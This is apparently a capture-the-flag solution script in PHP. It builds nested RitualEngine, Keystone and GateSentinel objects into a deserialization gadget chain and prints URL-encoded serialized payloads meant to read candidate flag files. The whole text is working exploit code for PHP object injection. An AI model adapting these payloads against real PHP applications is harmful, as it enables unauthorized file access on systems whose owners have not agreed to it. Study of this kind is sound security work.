<?php class RitualEngine { protected $settings; public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } $filenames = [ 'awakening.txt', 'mechanism.txt', 'chamber.txt', 'sequence.txt', 'tomb.txt', 'grave.txt', 'keystone.txt', 'gatesentinel.txt', 'ritual.txt', 'chronicle.txt', 'runescribe.txt', 'altar.txt', 'relic.txt', 'flag_is_here.txt', 'secret_flag.txt' ]; foreach ($filenames as $f) { $D = new RitualEngine(); $D->target = $f; $C = new RitualEngine(); $C->callback = serialize([$D, 'view']); $K = new Keystone(); $K->center = $C; $B = new GateSentinel(); $B->object = 'nothing'; $B->tool = ['blade' => $K]; $A = new GateSentinel(); $A->object = $B; echo "'$f' => '" . urlencode(serialize($A)) . "',\n"; }
You have javascript disabled. You will not be able to edit any code.